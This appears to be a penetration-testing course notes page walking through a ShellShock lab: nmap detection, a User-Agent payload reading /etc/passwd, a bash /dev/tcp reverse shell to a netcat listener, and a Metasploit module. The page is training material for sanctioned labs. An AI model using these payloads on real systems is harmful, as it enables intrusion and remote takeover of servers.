INE Training Notes - by syselement
🏠 Home BlogGitHub📚 Buy Me a Book
  • INE Training Notes
  • Courses
    • eJPT - PTSv2
      • 📒Penetration Testing Prerequisites
        • Introduction
        • Networking
        • Web Applications
      • 📒1. Assessment Methodologies & Auditing
        • Information Gathering
        • Footprinting & Scanning
        • Enumeration
          • 🔬SMB Enum
          • 🔬FTP Enum
          • 🔬SSH Enum
          • 🔬HTTP Enum
          • 🔬MYSQL Enum
          • 🔬SMTP Enum
        • Vulnerability Assessment
        • Auditing Fundamentals
      • 📒2. Host & Network Penetration Testing
        • System/Host Based Attacks
          • 🪟Windows Attacks
            • 🔬IIS - WebDAV
            • 🔬SMB - PsExec
            • 🔬RDP
            • 🔬WinRM
            • 🔬Win Kernel Privesc
            • 🔬UAC Bypass
            • 🔬Access Token
            • 🔬Alternate Data Stream
            • 🔬Credentials Dumping
          • 🐧Linux Attacks
            • 🔬Bash
            • 🔬FTP
            • 🔬SSH
            • 🔬SAMBA
            • 🔬Cron Jobs
            • 🔬SUID
            • 🔬Hashes Dumping
        • Network Based Attacks
          • 🔬Tshark, ARP, WiFi
        • The Metasploit Framework (MSF)
          • 🔬HFS - MSF Exploit
          • 🔬Tomcat - MSF Exploit
          • 🔬FTP - MSF Exploit
          • 🔬Samba - MSF Exploit
          • 🔬SSH - MSF Exploit
          • 🔬SMTP - MSF Exploit
          • 🔬Meterpreter - MSF
          • 🔬Win Post Exploitation - MSF
          • 🔬Linux Post Exploitation - MSF
        • Exploitation
          • 🔬Fixing Exploits - HFS
          • 🔬Win Workflow Platform - MSF
          • 🔬Win Black Box Pentest
          • 🔬Linux Black Box Pentest
        • Post-Exploitation
          • 🔬Windows Post-Exploitation
          • 🔬Windows Privilege Escalation
          • 🔬Windows Persistence
          • 🔬Linux Post-Exploitation
          • 🔬Linux Privilege Escalation
          • 🔬Linux Persistence
          • 🔬Cracking Hashes
          • 🔬Pivoting
        • Social Engineering
      • 📒3. Web Application Penetration Testing
        • Intro to Web App Pentesting
          • 🔬HTTP Enumeration
          • 🔬Web App Scanning
          • 🔬Web App Attacks
      • 🔬Exam Preparation - Labs
        • PTSv1 Prerequisites Labs
          • 🔬HTTP(S) Traffic Sniffing
          • 🔬Find the Secret Server
          • 🔬Data Exfiltration
          • 🔬Burp Suite Basics - Directory Enumeration
        • PTSv2 Practice Labs
      • 🌐eJPT References
      • 📜eJPT Cheat Sheet
    • ICCA
      • 📒1. Cloud Foundations
      • 📒2. Cloud Management Concepts
      • 📒3. Cloud Identity, Security, and Compliance
      • 🌐Icca References
    • eMAPT
      • 📒Android
      • 📒iOS
      • 🌐eMAPT References
  • 🏠syselement's Blog Home
Powered by GitBook
On this page
  • Lab 1
  • Enumeration
  • Manual Exploitation
  • Reverse Shell
  • Automatic Exploitation

Was this helpful?

Edit on GitHub
  1. Courses
  2. eJPT - PTSv2
  3. 📒2. Host & Network Penetration Testing
  4. System/Host Based Attacks
  5. Linux Attacks

🔬Bash

PreviousLinux AttacksNext🔬FTP

Last updated 2 years ago

Was this helpful?

Lab 1

🔬

  • Target IP: 192.173.104.3

  • Bash Exploitation -

Enumeration

eth1@if54460  UP  192.173.104.2/24 
# target IP is 192.173.104.3
nmap -sV 192.173.104.3
80/tcp open  http    Apache httpd 2.4.6 ((Unix))
  • Check the website via a browser:

    • http://192.173.104.3/

  • View Page Source

    • http://192.173.104.3/gettime.cgi

    • gettime.cgi script can be utilized as the attack vector

  • Check if the server is vulnerable to ShellShock

nmap -sV --script=http-shellshock --script-args "http-shellshock.uri=/gettime.cgi" 192.173.104.3

Manual Exploitation

    • Configure FoxyProxy on Firefox, click on Burp Suite in FoxyProxy and run Burp Suite

    • Inside Proxy menu, turn Intercept On

  • Reload the /gettime.cgi webpage in Firefox and intercept the response in BurpSuite

  • Send the request to the Repeater

  • Replace User-Agent: value with characters:

() { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'
  • Send the request and check the Response

📌 The target is vulnerable to ShellShock

Reverse Shell

  • Set up a listener

nc -nvlp 1234
  • Open Burp Suite and change the command to connect to the netcat listener of the Kali VM. The payload will be:

() { :; }; echo; echo; /bin/bash -c 'bash -i >&/dev/tcp/192.173.104.2/1234 0>&1'
  • Turn off burpsuite listener and FoxyProxy.

Automatic Exploitation

msfconsole -q
search shellshock
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS 192.173.104.3
# RPORT is ok, 80
set TARGETURI /gettime.cgi
exploit

To inject special characters into the user-agent HTTP header, can be used.

🐧
Shellshock exploitable environment
BurpSuite
Shellshock
CVE-2014-6071
nmap
nmap http-shellshock
Reverse shell
Metasploit apache_mod_cgi_bash_env_exec